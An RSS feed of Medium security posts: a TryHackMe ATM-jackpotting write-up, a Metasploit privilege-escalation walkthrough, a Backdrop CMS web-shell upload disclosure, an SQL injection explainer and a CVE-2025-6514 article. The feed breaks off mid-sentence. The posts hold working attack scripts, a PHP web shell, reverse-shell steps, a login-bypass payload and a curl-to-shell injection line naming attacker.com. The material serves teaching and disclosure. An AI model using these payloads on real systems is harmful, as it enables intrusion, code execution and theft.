<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by GrimTheRipper on Medium]]></title>
        <description><![CDATA[Stories by GrimTheRipper on Medium]]></description>
        <link>https://medium.com/@grimthereaperteam?source=rss-da8b7823d35f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*vcfV4sVoQWkw9SMupICkKA.jpeg</url>
            <title>Stories by GrimTheRipper on Medium</title>
            <link>https://medium.com/@grimthereaperteam?source=rss-da8b7823d35f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 28 Nov 2026 19:02:17 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@grimthereaperteam/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[TryHackMe Jackpot Write-up]]></title>
            <link>https://grimthereaperteam.medium.com/tryhackme-jackpot-write-up-647c168e0106?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/647c168e0106</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 02:03:32 GMT</pubDate>
            <atom:updated>2026-10-14T02:03:32.758Z</atom:updated>
            <content:encoded><![CDATA[<p>A walkthrough of the TryHackMe room <strong>Jackpot</strong> (ATM / hardware category, Medium difficulty), from the initial port scan to emptying the vault and capturing the flag. The core chain is a custom <strong>XFS bridge</strong> protocol, a reversed <strong>activation-code</strong> algorithm, and a <strong>fraud monitor</strong> that must be disabled before the machine will pay out.</p><blockquote><strong><em>Disclaimer:</em></strong><em> everything here was done on TryHackMe’s authorized lab. The ATM is simulated (values are “simulated units”). These techniques are for security learning only — never test them against real ATMs or hardware.</em></blockquote><h3>1. Overview</h3><p>Jackpot simulates a terminal of a fictional bank, <strong>“Earth’s National Bank — Terminal 004.”</strong> The room is modelled on a real-world technique called <strong>ATM jackpotting</strong> — making an ATM dispense all of its cash without a real account behind it.</p><p>The target exposes three things: a web <strong>Engineering Console</strong> that shows live machine state, a custom <strong>XFS Bridge</strong> on TCP 9100 that actually drives the machine, and a downloadable ELF utility, jackpot, that computes an <strong>activation code</strong> for supervisor mode.</p><p>The key hint is the room’s name itself — “jackpot” — the goal is to make money pour out of the machine.</p><ul><li><strong>Target:</strong> 10.49.137.77 <em>(your room’s IP will differ)</em></li><li><strong>Objective:</strong> capture one flag</li></ul><h3>2. Recon — Nmap port scan</h3><p>Start by scanning the ports and identifying the service running on each.</p><pre>nmap -sV -p- -T4 10.49.137.77</pre><p>The scan finds three services: SSH on 22, an HTTP server (Python BaseHTTPServer) on 8080, and a custom TCP service on 9100 that Nmap tentatively labels &quot;jetdirect.&quot; The last one is the real target — it is the XFS bridge, not a printer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*acAPhgsp_AQUATuPwwu3gg.png" /><figcaption><em>Figure 1 — The Nmap scan of the target, identifying the open ports (SSH 22, HTTP 8080, and the custom service on 9100) and the version of each.</em></figcaption></figure><h3>3. The Engineering Console and /status</h3><p>Open http://10.49.137.77:8080/ in a browser; it shows the &quot;Earth&#39;s National Bank — Terminal 004 Engineering Console.&quot; Two endpoints matter: GET /status returns the live machine state as JSON, and GET /jackpot serves the ELF utility.</p><pre>curl -s http://10.49.137.77:8080/status | jq</pre><pre>{<br>  &quot;nonce&quot;: &quot;848902&quot;,<br>  &quot;armed&quot;: false,<br>  &quot;monitor_on&quot;: true,<br>  &quot;locked&quot;: false,<br>  &quot;screen&quot;: &quot;INSERT CARD&quot;,<br>  &quot;remaining_notes&quot;: 280,<br>  &quot;vault_total_notes&quot;: 280,<br>  &quot;cassettes&quot;: [<br>    {&quot;id&quot;: &quot;CST1&quot;, &quot;denom&quot;: 10,  &quot;count&quot;: 100},<br>    {&quot;id&quot;: &quot;CST2&quot;, &quot;denom&quot;: 20,  &quot;count&quot;: 80},<br>    {&quot;id&quot;: &quot;CST3&quot;, &quot;denom&quot;: 50,  &quot;count&quot;: 60},<br>    {&quot;id&quot;: &quot;CST4&quot;, &quot;denom&quot;: 100, &quot;count&quot;: 40}<br>  ],<br>  &quot;flag_released&quot;: false<br>}</pre><p>Several fields stand out: nonce is the 6-digit &quot;session code from the ATM screen&quot; that the jackpot utility asks for; armed: false means we are not in supervisor mode yet; monitor_on: true tells us a <strong>fraud monitor</strong> is active (this becomes important later); the vault holds <strong>280 notes</strong>; and flag_released: false.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KmFR8Il4M9RmUW3jfR5Bw.png" /><figcaption><em>Figure 2 — The Engineering Console on port 8080: the session code, Fraud monitor ACTIVE, and a full vault of 280 notes.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*LsvneaDBZQOqsT4k0lwVrg.png" /><figcaption><em>Figure 3 — The /status endpoint returning live machine state as JSON — a full vault (280 notes), monitor_on true, armed false, flag_released false.</em></figcaption></figure><h3>4. The XFS bridge protocol (port 9100)</h3><p>Connecting to port 9100 makes the server immediately send a length-prefixed JSON <strong>banner</strong> that documents its own protocol. Every message is framed as a length followed by the content.</p><ul><li><strong>Request frame:</strong> [1 byte msg_type][4 byte command id][2 byte length][payload]</li><li><strong>Reply frame:</strong> [2 byte length][JSON]</li><li><strong>msg_type:</strong> 0x01 = GETINFO (read), 0x02 = EXECUTE (act)</li></ul><p>The banner hints to query command 0x0304 (capabilities) with GETINFO for the full command table:</p><pre>{<br>  &quot;WFS_INF_CDM_STATUS&quot;:        &quot;0x301&quot;,<br>  &quot;WFS_CMD_CDM_DISPENSE&quot;:      &quot;0x401&quot;,<br>  &quot;WFS_CMD_CDM_ARM&quot;:           &quot;0x4f0&quot;,<br>  &quot;WFS_CMD_CDM_SET_MONITOR&quot;:   &quot;0x4f1&quot;,<br>  &quot;WFS_CMD_CDM_GET_FLAG&quot;:      &quot;0x4ff&quot;,<br>  &quot;max_dispense&quot;: 40<br>}</pre><p>In plain terms: ARM enters supervisor mode, SET_MONITOR turns the fraud monitor on/off, DISPENSE pays out (max 40 at a time), and GET_FLAG returns the flag. Firing these blindly maps out the flow and its gates:</p><pre>ARM       -&gt; WFS_ERR_CDM_INVALIDCODE   (&quot;invalid activation code&quot;)<br>DISPENSE  -&gt; WFS_ERR_CDM_NOTARMED      (&quot;not in supervisor mode&quot;)<br>GET_FLAG  -&gt; WFS_ERR_CDM_CASHUNITERROR (&quot;no proof of cashout on record&quot;)</pre><p>The flow is clear: <strong>ARM → DISPENSE → GET_FLAG</strong>, each with its own condition. The first gate is the activation code — so we reverse the binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/867/1*9AGbR7_goe6NRm0RMK7QHw.png" /><figcaption><em>Figure 4 — Connecting to port 9100 returns the XFS banner, which documents the request/reply frame format and the msg_types.</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*7GHjT23mMHvI33CeLnbG0A.png" /><figcaption><em>Figure 5 — Querying capabilities (0x0304) lists the full command table — ARM, SET_MONITOR, DISPENSE, GET_FLAG — with max_dispense 40.</em></figcaption></figure><h3>5. Reverse engineering the jackpot utility</h3><p>Download and run the binary with no arguments:</p><pre>wget http://10.49.137.77:8080/jackpot -O jackpot<br>chmod +x jackpot<br>./jackpot<br># usage: ./jackpot &lt;6-digit session code from ATM screen&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*z12shWNexnUBqXwdPX8Obw.png" /><figcaption><em>Figure 6 — Downloading the jackpot service tool and running it with no argument shows it expects a 6-digit session code.</em></figcaption></figure><p>It takes the 6-digit nonce and returns an activation code. Loading it into <strong>Ghidra</strong> (the binary is PIE and stripped, so there is no main symbol) we locate the relevant function via Window → Defined Strings, finding the literal ENBANK and activation code: %08u, then following its cross-reference into the function that computes the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uvcFTmS42kO1NtRU3YyRdQ.png" /><figcaption><em>Figure 7 — Ghidra’s listing and decompiler of the activation function, showing the FNV constants 0xcbf29ce484222325 and 0x100000001b3, the ENBANK string, and the activation code: %08u format.</em></figcaption></figure><p>The decompiled logic is a <strong>modified FNV-1a 64-bit hash</strong>. Three signatures identify it: the offset basis 0xcbf29ce484222325, the prime 0x100000001b3, and a standard (hash XOR byte) * prime loop. On top of the standard algorithm the code mixes in the literal string ENBANK with an extra xorshift step ((h &gt;&gt; 0x1d) ^ h), then reduces the result modulo 10^8 and zero-pads to eight digits.</p><p>The reverse-engineering method here is pattern recognition, not magic: find the constants, search them (the two magic numbers immediately identify FNV-1a), copy the standard formula, replicate the non-standard extras exactly as seen, then prove the replica by comparing its output against the real binary.</p><h3>6. Reimplementing the activation code in Python</h3><p>Translating the decompiled logic into Python gives a standalone calculator:</p><pre>#!/usr/bin/env python3<br>MASK, PRIME = (1 &lt;&lt; 64) - 1, 0x100000001B3</pre><pre>def activation(nonce):<br>    h = 0xCBF29CE484222325<br>    for x in nonce.encode():              # FNV-1a over the nonce<br>        h = ((h ^ x) * PRIME) &amp; MASK<br>    for x in b&quot;ENBANK&quot;:                    # mix the secret string + xorshift<br>        h = ((h ^ x) * PRIME) &amp; MASK<br>        h = ((h &gt;&gt; 29) ^ h) &amp; MASK<br>    return f&quot;{h % 100_000_000:08d}&quot;        # reduce to 8 digits</pre><pre>print(activation(&quot;848902&quot;))                # -&gt; 72282520</pre><p>Running the real binary on the same nonce proves the replica is correct:</p><pre>./jackpot 848902           -&gt;  activation code: 72282520<br>python3 calc.py            -&gt;  72282520      (matches)</pre><p>Because the algorithm now lives in our own code, we can generate the correct activation code for any nonce — the exploit script simply pulls the current nonce from /status and computes it on the fly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/301/1*HCJmFOoOQwC4suSAg3lQew.png" /><figcaption><em>Figure 8 — The Python reimplementation (calc.py) and the real binary produce the same activation code for the same nonce — confirming the reversed algorithm.</em></figcaption></figure><h3>7. ARM — entering supervisor mode</h3><p>The first ARM attempt returned WFS_ERR_CDM_INVALIDCODE. This is important: INVALIDCODE means the server parsed the payload and found the code field, but the <em>value</em> was wrong — it is not a format error. Sending the correct code under several encodings and letting the server judge shows the accepted payload is the <strong>raw 8-digit ASCII string, not wrapped in JSON</strong>.</p><pre>import socket, struct, json, urllib.request<br>HOST = &quot;10.49.137.77&quot;<br>MASK, PRIME = (1 &lt;&lt; 64) - 1, 0x100000001B3</pre><pre>def recv_exact(s, n):<br>    b = b&quot;&quot;<br>    while len(b) &lt; n:<br>        c = s.recv(n - len(b));  b += c<br>        if not c: raise ConnectionError(&quot;closed&quot;)<br>    return b<br>def read_reply(s):<br>    (l,) = struct.unpack(&quot;&gt;H&quot;, recv_exact(s, 2)); return json.loads(recv_exact(s, l))<br>def xfs(s, mt, cmd, p=b&quot;&quot;):<br>    s.sendall(struct.pack(&quot;&gt;BIH&quot;, mt, cmd, len(p)) + p); return read_reply(s)<br>def activation(n):<br>    h = 0xCBF29CE484222325<br>    for x in n.encode(): h = ((h ^ x) * PRIME) &amp; MASK<br>    for x in b&quot;ENBANK&quot;:<br>        h = ((h ^ x) * PRIME) &amp; MASK; h = ((h &gt;&gt; 29) ^ h) &amp; MASK<br>    return f&quot;{h % 100_000_000:08d}&quot;</pre><pre>nonce = json.loads(urllib.request.urlopen(f&quot;http://{HOST}:8080/status&quot;, timeout=5).read())[&quot;nonce&quot;]<br>s = socket.create_connection((HOST, 9100), timeout=5); s.settimeout(5); read_reply(s)<br>print(&quot;[ARM]&quot;, xfs(s, 0x02, 0x04f0, activation(nonce).encode()))   # 0x02=EXECUTE, 0x04f0=ARM<br>print(&quot;[STATUS]&quot;, xfs(s, 0x01, 0x0301)[&quot;status&quot;][&quot;screen&quot;])</pre><pre>[ARM] {&#39;rc&#39;: &#39;WFS_SUCCESS&#39;, &#39;detail&#39;: &#39;armed - supervisor mode&#39;}<br>[STATUS] SUPERVISOR MODE</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*JCJq0j1QOkTTD6vQoeCK1g.png" /><figcaption><em>Figure 9 — arm.py sends the activation code as raw ASCII; the server returns WFS_SUCCESS — armed — supervisor mode, and the screen shows SUPERVISOR MODE.</em></figcaption></figure><h3>8. DISPENSE — hitting the fraud monitor</h3><p>Now armed, dispensing 40 notes at a time (the stated max_dispense) seems straightforward. The first payout succeeds; the second is immediately rejected and the machine locks:</p><pre>[DISPENSE #1] {&quot;rc&quot;:&quot;WFS_SUCCESS&quot;,&quot;notes&quot;:40,&quot;remaining_notes&quot;:240}<br>[DISPENSE #2] {&quot;rc&quot;:&quot;WFS_ERR_CDM_LOCKED&quot;,<br>               &quot;detail&quot;:&quot;anomalous dispense with null transaction id -&gt; machine locked&quot;,<br>               &quot;lock_seconds&quot;:45}</pre><p>Reading the error is the whole puzzle. anomalous dispense means something is watching for abnormal payouts; null transaction id names what is missing; machine locked tells us a system can lock the device. Tied to two facts seen during recon — monitor_on: true in /status and the SET_MONITOR command in the table — it is clear the <strong>fraud monitor</strong> is the thing that caught us, and we already have the command to turn it off.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*d3zhnk42TCCnRUmVP5lZug.png" /><figcaption><em>Figure 10 — dispense.py: the first payout succeeds, but the second is rejected with WFS_ERR_CDM_LOCKED — anomalous dispense with null transaction id, revealing the fraud monitor.</em></figcaption></figure><h3>9. Disabling the monitor and emptying the vault</h3><p>The fix mirrors real ATM jackpotting — disable the fraud sensor before cashing out. SET_MONITOR with a &quot;0&quot; payload turns it off; then dispensing in a loop drains the vault without locking.</p><pre># ...helpers and activation() as above...<br>nonce = json.loads(urllib.request.urlopen(f&quot;http://{HOST}:8080/status&quot;, timeout=5).read())[&quot;nonce&quot;]<br>s = socket.create_connection((HOST, 9100), timeout=5); s.settimeout(5); read_reply(s)<br>print(&quot;[ARM]        &quot;, xfs(s, 0x02, 0x04f0, activation(nonce).encode()))<br>print(&quot;[MONITOR off]&quot;, xfs(s, 0x02, 0x04f1, b&quot;0&quot;))             # 0x04f1=SET_MONITOR, &quot;0&quot;=off<br>while True:                                                    # drain the vault<br>    left = xfs(s, 0x01, 0x0301)[&quot;status&quot;][&quot;remaining_notes&quot;]<br>    if left &lt;= 0: break<br>    print(&quot;[DISPENSE]&quot;, xfs(s, 0x02, 0x0401, str(min(40, left)).encode()))<br>print(&quot;[FLAG]       &quot;, xfs(s, 0x02, 0x04ff))                   # 0x04ff=GET_FLAG</pre><pre>[MONITOR off] {&quot;rc&quot;:&quot;WFS_SUCCESS&quot;,&quot;monitor_on&quot;:false}<br>[DISPENSE] ... remaining_notes:240 ... 200 ... 160 ... 80 ... 40 ...<br>[DISPENSE] {&quot;rc&quot;:&quot;WFS_SUCCESS&quot;,&quot;remaining_notes&quot;:0,&quot;detail&quot;:&quot;vault empty - cashout proven; GET_FLAG now available&quot;}<br>[FLAG]     {&quot;rc&quot;:&quot;WFS_SUCCESS&quot;,&quot;flag&quot;:&quot;THM{...}&quot;}</pre><p>The line <strong>“vault empty — cashout proven”</strong> answers the earlier GET_FLAG complaint (&quot;no proof of cashout&quot;): the proof of cashout is draining all 280 notes. Once the vault is empty the flag is released and /status shows flag_released: true. <em>Each run&#39;s real flag value differs — submit the value from your own machine.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*eGxknwHBgSYuCF3X3PgEzQ.png" /><figcaption><em>Figure 11 — cashout.py turns the monitor off, drains the vault to 0 (‘cashout proven’), and GET_FLAG returns the flag (masked).</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zLqVQu_pL_efnMweq5PTcA.png" /><figcaption><em>Figure 12 — The Engineering Console afterwards: VAULT EMPTY, Fraud monitor DISABLED, 280 dispensed / 0 remaining, and the flag released to the operator.</em></figcaption></figure><h3>10. Summary and remediation</h3><p>Rooting this room came from chaining four findings: a leaked/computable supervisor <strong>activation code</strong> (reversed from the jackpot binary), an <strong>ARM</strong> command that accepted raw-ASCII input, a <strong>fraud monitor</strong> that could be switched off with an ordinary command, and a <strong>cashout</strong> condition that unlocked the flag.</p><p>Key takeaways:</p><ul><li><strong>Read the error messages</strong> — the entire lock was explained by one line, anomalous dispense with null transaction id.</li><li><strong>Distinguish “wrong format” from “wrong value”</strong> — INVALIDCODE meant the parser succeeded and only the value was off, which pointed at the code, not the encoding.</li><li><strong>Reverse, then verify</strong> — comparing the Python reimplementation against the real binary proved the algorithm before relying on it.</li><li><strong>In the real world</strong>, jackpotting is prevented by not exposing internal services externally, authenticating and encrypting the link between terminal and dispenser, and making the fraud monitor impossible to disable with a normal command.</li></ul><p>The room’s name, “Jackpot,” captures it well: with the right code and the sensor silenced, the machine simply pours its cash out — exactly what the simulated XFS bridge let us do.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=647c168e0106" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Local PrivEsc with Metasploit’s Local Exploit Suggester]]></title>
            <link>https://grimthereaperteam.medium.com/local-privesc-with-metasploits-local-exploit-suggester-5c8cd82eef55?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/5c8cd82eef55</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 02:02:27 GMT</pubDate>
            <atom:updated>2026-10-14T02:02:27.640Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Module Overview</strong><br><strong>Name</strong>: Multi Recon Local Exploit Suggester<br><strong>Module</strong>: post/multi/recon/local_exploit_suggester<br><strong>Source code</strong>: modules/post/multi/recon/local_exploit_suggester.rb<br><strong>Disclosure date</strong>: -<br><strong>Last modification time</strong>: 2021–07–26 11:12:41 +0000<br><strong>Supported architecture(s)</strong>: -<br><strong>Supported platform(s)</strong>: AIX, Android, Apple_iOS, Arista, BSD, BSDi, Brocade, Cisco, Firefox, FreeBSD, HPUX, Hardware, Irix, Java, JavaScript, Juniper, Linux, Mainframe, Mikrotik, Multi, NetBSD, Netware, NodeJS, OSX, OpenBSD, PHP, Python, R, Ruby, Solaris, Unifi, Unix, Unknown, Windows<br><strong>Target service / protocol</strong>: -<br><strong>Target network port(s)</strong>: -<br><strong>List of CVEs</strong>: -<br><strong>Description</strong><br>This module suggests local meterpreter exploits that can be used. The exploits are suggested based on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter. It’s important to note that not all local exploits will be fired. Exploits are chosen based on these conditions: session type, platform, architecture, and required default options.</p><p><strong>Proof of concept</strong></p><p>After entering the victim’s machine with low privilege (eg. reverse shell) In this case, we need to put our current Meterpreter session in the background. We can do this by issuing the background command, as shown in the following screenshot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/1*d83wtpNwZsuuVOxvGMoGxw.png" /></figure><p>After the session has been set, the module will exploit the vulnerability to elevate our privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/826/1*7gAZ4SiUHdAwF-hKl1C2FA.png" /></figure><p>We’ll be experimenting with privileges escalation that the Module can find.</p><p>(eg. exploit/windows/local/always_install_elevated)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*0HUWcruaM8O5iYJdI3ezGw.png" /></figure><p>Then configure your session, lhost, port, payload and type run you will have a high privilege of that machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/599/1*iAtLbM3A8SMtWFD-Zmywmg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/835/1*_MtAD1AlZ0kgV56ffCWCsw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5c8cd82eef55" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Backdrop CMS 1.23.0 — Unrestricted File Upload (Themes)]]></title>
            <link>https://grimthereaperteam.medium.com/backdrop-cms-1-23-0-unrestricted-file-upload-themes-907ae7f83f85?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/907ae7f83f85</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Wed, 14 Oct 2026 02:02:00 GMT</pubDate>
            <atom:updated>2026-10-14T02:02:00.110Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Description</strong></p><p># An Issue is discovered in Backdrop CMS 1.23.0. Release date: Sep 15th, 2022</p><p>#We found a vulnerability file upload when we upload the malicious file as a theme in the theme installer on the Apperance page.</p><p><strong>Proof of Concept</strong></p><p>First, we login to the target application with admin privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*bSa-cK5mNYVseReP8rrxfA.png" /><figcaption>login as admin.</figcaption></figure><p>Then select Appearance and select Install new themes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VE0tQ2S2vlpNX6Q_o5MKg.png" /><figcaption>select Appearance &gt; select install new themes.</figcaption></figure><p>click Manual Installation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RzZ_CfZV6BjEVybRELEfQ.png" /><figcaption>click Manual Installation.</figcaption></figure><p>we can upload theme with zip extension file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*43Qa8nyv3QP2ZL6SKHo8qw.png" /></figure><p>we can download themes in install theme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHAeI9XSPPQs3T4u6659Fw.png" /><figcaption>themes</figcaption></figure><p>choose some theme and click on name, Pop-Up will show up and we will click on “View on BackdropCMS.org”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLk3orI0e5K0crZvRdgxeg.png" /><figcaption>click on View on BackdropCMS.</figcaption></figure><p>Now, we can download theme file in zip extension.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6gsCrh5_IA92ODauVtHyQ.png" /><figcaption>download theme file.</figcaption></figure><p>After download zip file, we use simple web shell and zip it to theme files.</p><pre>&lt;?php system($_GET[“cmd”]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*JYVzl1DM4wAFXR3Ou_fVbg.png" /><figcaption>add simple shell script to theme file.</figcaption></figure><p>back to Manual installation and upload zip files to target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*ts5uC4yJMSW25JK3BZA8xA.png" /><figcaption>upload theme zip file.</figcaption></figure><p>Install corporate_kiss successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*JBpXTTwby48NEgzAuAWyLQ.png" /><figcaption>upload successfully.</figcaption></figure><p>we use gobuster to find which path of themes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*85kw4wqwUlaGTEG7aUz-aw.png" /><figcaption>use gobuster for brute force path.</figcaption></figure><p>After known path of theme, we add theme name and call simple web shell file with command “whoami” to verify can using command on target.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/1*ZGMQSKTFx_GOOf_5wtVy3w.png" /></figure><p>we create nc for listener port and will receive reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*0lvuhYqWcm58iV4eTghjzg.png" /><figcaption>nc listener</figcaption></figure><p>we use reverse shell payload from this website.</p><pre><a href="https://revshells.com/">https://revshells.com</a></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*bBpi961jHfl1GJlWE8CufA.png" /></figure><p>Finally execute “powershell” command to create reverse shell connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*AonY23pwgSC--ykkSa168A.png" /></figure><p><strong>Author</strong></p><p>Grim The Ripper Team by SOSECURE Thailand</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=907ae7f83f85" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Does SQL Injection Still Exist in 2026?]]></title>
            <link>https://grimthereaperteam.medium.com/why-does-sql-injection-still-exist-in-2026-61fec061b576?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/61fec061b576</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Wed, 30 Sep 2026 01:19:48 GMT</pubDate>
            <atom:updated>2026-09-30T01:19:48.689Z</atom:updated>
            <content:encoded><![CDATA[<p>Many people think SQL Injection is an old vulnerability.<br> But in 2026, we can still find SQL Injection in websites and applications.</p><p>Why?</p><p>Because many developers still make simple mistakes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGnz5r7tlqR_lUwvOz7oVg.png" /></figure><h3>What is SQL Injection?</h3><p>SQL Injection happens when user input is not filtered correctly.</p><p>For example:</p><pre>SELECT * FROM users WHERE username = &#39;admin&#39; AND password = &#39;1234&#39;</pre><p>If the application does not validate input, an attacker can change the query.</p><p>Example:</p><pre>&#39; OR 1=1 --</pre><p>This can bypass the login page.</p><h3>Why Does It Still Happen?</h3><h3>1. Old Legacy Systems</h3><p>Some companies still use old applications.<br> The code was written many years ago and nobody wants to update it.</p><h3>2. Developers Trust User Input</h3><p>Some developers think users will only enter normal data.</p><p>But attackers do not use applications normally.</p><h3>3. Lack of Security Testing</h3><p>Some companies do not perform penetration testing or code review.</p><p>Because of this, vulnerabilities stay in production.</p><h3>4. Fast Development</h3><p>Many companies want to release products quickly.</p><p>Security is sometimes ignored to save time.</p><h3>Real Impact</h3><p>SQL Injection can cause:</p><ul><li>Data leak</li><li>Account takeover</li><li>Database access</li><li>Full server compromise</li></ul><p>This is why SQL Injection is still dangerous.</p><h3>How to Prevent It</h3><p>Developers should:</p><ul><li>Use parameterized queries</li><li>Validate user input</li><li>Use ORM safely</li><li>Perform security testing</li><li>Update old systems</li></ul><h3>Conclusion</h3><p>SQL Injection is old, but it is not dead.</p><p>Attackers still use it because it still works.</p><p>Simple mistakes can create serious security problems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61fec061b576" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MCP Server Compromise]]></title>
            <link>https://grimthereaperteam.medium.com/mcp-server-compromise-173bb480e15c?source=rss-da8b7823d35f------2</link>
            <guid isPermaLink="false">https://medium.com/p/173bb480e15c</guid>
            <dc:creator><![CDATA[GrimTheRipper]]></dc:creator>
            <pubDate>Mon, 21 Sep 2026 13:03:36 GMT</pubDate>
            <atom:updated>2026-09-21T13:03:36.837Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The New Backdoor Hiding Inside Your AI Agent’s Toolbox</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ePwI_8SSmWgvJlLlEroqIg.png" /></figure><p>In 2026, almost every serious AI coding assistant, IDE plugin, and agentic workflow speaks the same language to reach the outside world: the Model Context Protocol (MCP). It’s the wire format that lets an LLM call a database, hit an API, read your filesystem, or trigger a deployment — all through a standardized “tool” interface.</p><p>It’s also, as of this year, one of the fastest-growing attack surfaces in application security. And the clearest proof of that isn’t theoretical. It has a CVE number: CVE-2025–6514, a 9.6-severity remote code execution flaw in mcp-remote, one of the most widely used MCP client proxies.</p><p>This is the story of how a protocol built to make AI agents more capable quietly became a new class of backdoor — and what it teaches every security team about the next wave of AI-integrated software.</p><h3>What MCP Actually Changed</h3><p>Before MCP, “AI security” mostly meant prompt injection and jailbreaks — attacks that manipulated what the model said. MCP introduces something structurally different: a standardized way for the model’s client (your IDE, your CLI agent, your chat app) to reach out, connect to a server, and execute whatever tools that server exposes.</p><p>That’s a protocol inversion most engineers aren’t used to reasoning about. In a normal client-server relationship, the client asks and the server answers. In MCP, the server frequently gets to push instructions back to the client — tool definitions, metadata, authorization flows — and the client is expected to trust and act on them.</p><p>Security researchers have mapped at least five distinct MCP-specific attack vectors: confused deputy, token passthrough, tool poisoning, SSRF via tool connectors, and rogue server registration. CVE-2025–6514 is a textbook case of the last two working together.</p><h3>Anatomy of CVE-2025–6514</h3><p>mcp-remote is an npm package that acts as a local proxy: it lets MCP clients that only speak stdio connect to remote MCP servers over HTTP, handling the OAuth handshake along the way.</p><p>That OAuth handshake is where it breaks.</p><p>When mcp-remote connects to a server, it fetches the server’s OAuth metadata — including an authorization_endpoint field. That field is supposed to be a URL. Instead of treating it as inert data, mcp-remote interpolates it directly into a shell command without sanitization. A malicious MCP server can return something like:</p><pre><br>authorization_endpoint: https://legit-looking.com$(curl -s https://attacker.com/payload.sh | sh)</pre><p>Shell metacharacters — $(), backticks, semicolons, pipes, &amp;&amp; — pass straight through into an OS-level command execution, running with whatever privileges the mcp-remote process has on the developer’s machine.</p><p>The attack chain in one line: <strong>connect to an untrusted MCP server → receive a crafted OAuth response → get RCE on the client host</strong>, no user interaction required beyond the client establishing a connection it was told to trust.</p><p>Here’s the attack chain end to end:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ups-8FjSgouJ3tzXBXPdRw.png" /><figcaption><em>MCP server compromise attack sequence (CVE-2025–6514)</em></figcaption></figure><h3>Why This Isn’t “Just Another CVE”</h3><p>Strip away the AI framing and CVE-2025–6514 is, at its core, a decades-old bug class: OS command injection from unsanitized external input. No prompt injection. No model manipulation. No jailbreak. Just a string that should have been treated as data, treated as code instead.</p><p>What makes it worth writing about isn’t the vulnerability class — it’s where it 